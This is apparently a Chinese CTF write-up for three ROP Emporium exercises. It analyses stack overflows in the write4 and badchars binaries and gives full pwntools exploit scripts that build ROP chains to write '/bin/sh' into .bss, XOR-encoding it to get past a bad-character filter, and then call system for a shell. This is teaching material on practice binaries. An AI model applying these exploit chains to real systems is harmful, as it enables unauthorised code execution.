最近在看堆系列 最近的wp都是大家有疑惑 我自己也有点不明白的题目 所以再次记录
write432
检查保护
ubuntu@ubuntu:~$ checksec write432
[*] '/home/ubuntu/write432'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX 开启
载入ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("write4 by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
看到main函数中调用了一个pwnme() 猜测漏洞应该在此
跟进查看pwnme
char *pwnme()
{
char s; // [esp+0h] [ebp-28h]
memset(&s, 0, 0x20u);
puts("Go ahead and give me the string already!");
printf("> ");
return fgets(&s, 512, stdin); //存在漏洞
}
程序没有提供shell 但是调用了system
int usefulFunction()
{
return system("/bin/ls");
}
这里调用/bin/ls 但是我们想要的是/bin/sh 所以我们要利用rop想办法构造/bin/sh 并参给system
尝试使用ROPgadget搜索
ubuntu@ubuntu:~$ ROPgadget --binary write432 --only "pop|ret"
Gadgets information
============================================================
0x080486db : pop ebp ; ret
0x080486d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483e1 : pop ebx ; ret
0x080486da : pop edi ; pop ebp ; ret
0x080486d9 : pop esi ; pop edi ; pop ebp ; ret
0x0804819d : ret
0x080484fe : ret 0xeac1
Unique gadgets found: 7
ubuntu@ubuntu:~$ ROPgadget --binary write432 --only "mov|ret"
Gadgets information
============================================================
0x08048547 : mov al, byte ptr [0xc9010804] ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080484b0 : mov ebx, dword ptr [esp] ; ret
0x0804819d : ret
0x080484fe : ret 0xeac1
Unique gadgets found: 5
ubuntu@ubuntu:~$
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
ROP构造思路
先计算偏移
gef➤ p/d 0x28+4
$5 = 44
得到偏移为44
pop_edi_ebp=0x080486da # pop edi ; pop ebp ; ret
mov_ret=0x08048670 # mov dword ptr [edi], ebp ; ret
system_plt=0x8048430
bss = elf.bss() #获取bss段地址
payload = 'A'*44+p32(pop_edi_ebp)+p32(bss)+"/bin"+p32(mov_ret)
payload += p32(pop_edi_ebp)+p32(bss+4)+"/sh"+p32(mov_ret)
payload +=p32(system_plt)+p32(1553155)+p32(bss)
因为32位寄存器最多只能写4字节,而/bin/sh为7字节 所以我们分两次写入
覆盖偏移到ret + 覆盖ret为pop_edi_ebp+将bss地址写入edi+将/bin写入ebp+将ebp的内容写入bss段
覆盖ret到pop_edi_ebp+将bss+4的地址写入edi(因为bss段前4个地址写入了/bin所以这里为了拼接从bss+4的位置开始写入)+将/sh写入ebp+将ebp的内容写入bss段
覆盖返回地址为system地址+写如system返回地址 可以任意写 +system调用参数的地址 此处存放地址为bss
所以可以得到exp
from pwn import *
p = process('write432')
elf =ELF('write432')
bss = elf.bss()
pop_edi_ebp=0x080486da
mov_ret=0x08048670
system_plt=0x8048430
payload = 'A'*44+p32(pop_edi_ebp)+p32(bss)+"/bin"+p32(mov_ret)
payload += p32(pop_edi_ebp)+p32(bss+4)+"/sh\x00"+p32(mov_ret)
payload +=p32(system_plt)+p32(1553155)+p32(bss)
p.sendline(payload)
p.interactive()
尝试运行
write464
题目基本流程和上一道类似
所以这里直接从ROP构造开始讲解
gef➤ p/d 0x20+8
$2 = 40
所以得到偏移为40
尝试用ROPgadget搜索可用的gadget
ubuntu@ubuntu:~$ ROPgadget --binary write4 --only "pop|mov|ret"
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret
Unique gadgets found: 16
接下来进行构造
pop_r14_r15 = 0x0000000000400890 # pop r14 ; pop r15 ; ret
mov_ret = 0x0000000000400820 # mov qword ptr [r14], r15 ; ret
pop_rdi=0x0000000000400893 # pop rdi ; ret
system_plt =0x00000000004005E0
bss = elf.bss() #获取bss段地址
payload = 'A'*40+p64(pop_r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov_ret)
payload += p64(pop_rdi)+p64(bss)+p64(system_plt)
因为64位下可写入8字节而/bin/sh为7字节所以可以一次写入
覆盖偏移到ret+覆盖ret为pop_r14_r15+将bss地址写入r14+将/bin/sh\x00写入r15+将r15内容写到r14(bss)处
由于64位所以binsh地址参数需要放在rdi寄存器中,覆盖ret为pop_rdi+将bss地址写入rdi+写入system并调用rdi参数
所以可以构造exp
from pwn import *
p = process('write4')
elf = ELF('write4')
pop_r14_r15 = 0x0000000000400890
mov_ret = 0x0000000000400820
system_plt =0x00000000004005E0
pop_rdi=0x0000000000400893
bss = elf.bss()
payload = 'A'*40+p64(pop_r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov_ret)
payload += p64(pop_rdi)+p64(bss)+p64(system_plt)
p.sendline(payload)
p.interactive()
尝试运行
成功获得shell
badchars32
检查保护
ubuntu@ubuntu:~$ checksec badchars32
[*] '/home/ubuntu/badchars32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
NX开启 32位程序
载入ida分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("badchars by ROP Emporium");
puts("32bits\n");
pwnme();
puts("\nExiting");
return 0;
}
看到main函数调用了pwnme函数 所以我们跟进看下
void pwnme()
{
char *v0; // ST1C_4
int n; // ST18_4
void *s; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
s = malloc(0x200u);
if ( !s )
exit(1);
memset(s, 0, 0x200u);
memset(&v3, 0, 0x20u);
puts("badchars are: b i c / <space> f n s");
printf("> ");
v0 = fgets((char *)s, 512, stdin);
n = nstrlen((int)v0, 0x200u);
checkBadchars((int)v0, n);
memcpy(&v3, v0, n);//存在漏洞
free(v0);
}
我们先看pwnme 函数都有哪些操作
接收到我们传入的字符串到v0
然后执行了一个nstrlen函数()传入长度为200字节
跟进分析
int __cdecl nstrlen(int a1, unsigned int a2)
{
unsigned int i; // [esp+Ch] [ebp-4h]
for ( i = 0; i < a2; ++i )
{
if ( *(a1 + i) == 10 )
return i + 1;
}
return i;
}
.text:080487D8 v0: ; CODE XREF: nstrlen+38↓j
.text:080487D8 mov edx, [ebp+arg_0]
.text:080487DB mov eax, [ebp+var_4]
.text:080487DE add eax, edx
.text:080487E0 movzx eax, byte ptr [eax]
.text:080487E3 cmp al, 0Ah
.text:080487E5 jnz short loc_80487F0
.text:080487E7 add [ebp+var_4], 1
.text:080487EB mov eax, [ebp+var_4]
.text:080487EE jmp short locret_80487FF
.text:080487F0 ; ---------------------------------------------------------------------------
.text:080487F0
.text:080487F0 loc_80487F0: ; CODE XREF: nstrlen+23↑j
.text:080487F0 add [ebp+var_4], 1
.text:080487F4
.text:080487F4 loc_80487F4: ; CODE XREF: nstrlen+14↑j
.text:080487F4 mov eax, [ebp+var_4]
.text:080487F7 cmp eax, [ebp+arg_4]
.text:080487FA jb short v0
.text:080487FC mov eax, [ebp+var_4]
.text:080487FF
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
这段代码主要是在循环执行080487D8-到080487FA的内容 看到cmp这里的0xa
可以查询0x0a的相关信息,因为ebp+var_4的值一直在更新 所以这里的nstrlen函数应该就是在检测输入字符串的个数。
0xA(十六进制数)=10(十进制数)
对应的字符为“控制字符”LF (NL line feed, new line):移行,换行。
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
在执行完字符个数检测(nstrlen)之后又执行了checkBadchars 我们来跟进分析一下
v3 = 'b';
v4 = 'i';
v5 = 'c';
v6 = '/';
v7 = ' ';
v8 = 'f';
v9 = 'n';
v10 = 's';
j = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a2 )
break;
for ( j = 0; j <= 7; ++j )
{
if ( *(a1 + i) == *(&v3 + j) )
{
*(a1 + i) = -21;
break;
}
}
看到v3-v10就是函数检查的badchars 我们再通过汇编查看
.text:08048847
.text:08048847 loc_8048847: ; CODE XREF: checkBadchars+75↓j
.text:08048847 mov edx, [ebp+arg_0]
.text:0804884A mov eax, [ebp+var_4]
.text:0804884D add eax, edx
.text:0804884F movzx edx, byte ptr [eax]
.text:08048852 lea ecx, [ebp+var_10]
.text:08048855 mov eax, [ebp+var_8]
.text:08048858 add eax, ecx
.text:0804885A movzx eax, byte ptr [eax]
.text:0804885D cmp dl, al
.text:0804885F jnz short loc_804886E
.text:08048861 mov edx, [ebp+arg_0]
.text:08048864 mov eax, [ebp+var_4]
.text:08048867 add eax, edx
.text:08048869 mov byte ptr [eax], 0EBh
.text:0804886C jmp short loc_8048878
这里循环对输入的字符又进行了比较 如果出现上述字符串就会替换该字符串为0xEB
利用思路
因为题目和之前write4题目类似 所以这里从rop构造开始讲起
可是题目又对输入的字符进行检查了 我们现在想要的是/bin/sh 可是check函数中过滤了 b i n / s所以不能直接传入/bin/sh 不过题目中给了这样的提示
text:08048890 public usefulGadgets
.text:08048890 usefulGadgets:
.text:08048890 xor [ebx], cl
.text:08048892 retn
.text:08048893 ; ---------------------------------------------------------------------------
.text:08048893 mov [edi], esi
.text:08048895 retn
.text:08048896 ; ---------------------------------------------------------------------------
.text:08048896 pop ebx
.text:08048897 pop ecx
.text:08048898 retn
.text:08048899 ; ---------------------------------------------------------------------------
.text:08048899 pop esi
.text:0804889A pop edi
.text:0804889B retn
usefulGadgets 这里给了你xor提示, 既然有了这个gadget,我们可以利用先对/bin/sh进行xor加密来通过check ,然后通过usefulGadgets 来进行解密 接着调用即可
ROP构造
mov_ret = 0x08048893 # mov dword ptr [edi], esi ; ret
pop_esi_edi = 0x08048899 # pop esi ; pop edi ; ret
pop_ebx_ecx=0x08048896 #pop ebx ; pop ecx ; ret
xor_ebx=0x08048890 #xor byte ptr [ebx], cl ; ret
payload = 'A'*44+p32(pop_esi_edi)+binsh[:4]+p32(bss)+p32(mov_ret)
payload += p32(pop_esi_edi) + binsh[4:8]+p32(bss+4)+p32(mov_ret)
//解密操作
for i in range(len(binsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+i)
payload += p32(xor_byte)
payload += p32(xor_ebx)
payload += p32(system_plt)+p32(1553)+p32(bss)
覆盖偏移到ret+覆盖ret为pop_esi_edi+写入binsh中的前四字节(加密后的/bin)到esi 因为32位程序寄存器最大只能存4字节+写入bss段地址到edi+将esi内容写到edi中 mov_ret
覆盖ret为pop_esi_edi+写入binsh中的后四字节(加密后的/sh\x00)到esi+写入bss段+4地址到edi(因为前4字节写入了/bin)+写入bss段+4地址到edi+将esi内容写到edi中 mov_ret
解密操作 下面有解释
写入system_plt+构造任意返回地址+当前解密(/bin/sh)过后的bss段地址
xor加解密操作
xor加密操作
badchars = [0x62,0x69,0x63,0x2F,0x20,0x66,0x6E,0x73]
xor_byte = 0x1
while(1):
binsh = ""
for i in "/bin/sh\x00":
c = ord(i) ^ xor_byte
if c in badchars:
xor_byte += 1
break
else:
binsh += chr(c)
if len(binsh) == 8:
break
xor解密操作
pop_ebx_ecx=0x08048896 #pop ebx ; pop ecx ; ret
xor_ebx=0x08048890 #xor byte ptr [ebx], cl ; ret
for i in range(len(binsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+i)
payload += p32(xor_byte)
payload += p32(xor_ebx)
解密操作:当我们利用rop将加密过得/bin/sh写入到bss段之后 逐个进行解密
exp
from pwn import *
p = process('badchars32')
elf =ELF('badchars32')
badchars = [0x62,0x69,0x63,0x2F,0x20,0x66,0x6E,0x73]
bss = elf.bss()
xor_byte = 0x1
system_plt = 0x080484E0
while(1):
binsh = ""
for i in "/bin/sh\x00":
c = ord(i) ^ xor_byte
if c in badchars:
xor_byte += 1
break
else:
binsh += chr(c)
if len(binsh) == 8:
break
mov_ret = 0x08048893 # mov dword ptr [edi], esi ; ret
pop_esi_edi = 0x08048899 # pop esi ; pop edi ; ret
pop_ebx_ecx=0x08048896 #pop ebx ; pop ecx ; ret
xor_ebx=0x08048890 #xor byte ptr [ebx], cl ; ret
payload = 'A'*44+p32(pop_esi_edi)+binsh[:4]+p32(bss)+p32(mov_ret)
payload += p32(pop_esi_edi) + binsh[4:8]+p32(bss+4)+p32(mov_ret)
for i in range(len(binsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+i)
payload += p32(xor_byte)
payload += p32(xor_ebx)
payload += p32(system_plt)+p32(1553)+p32(bss)
p.sendline(payload)
p.interactive()
尝试运行
成功拿到shell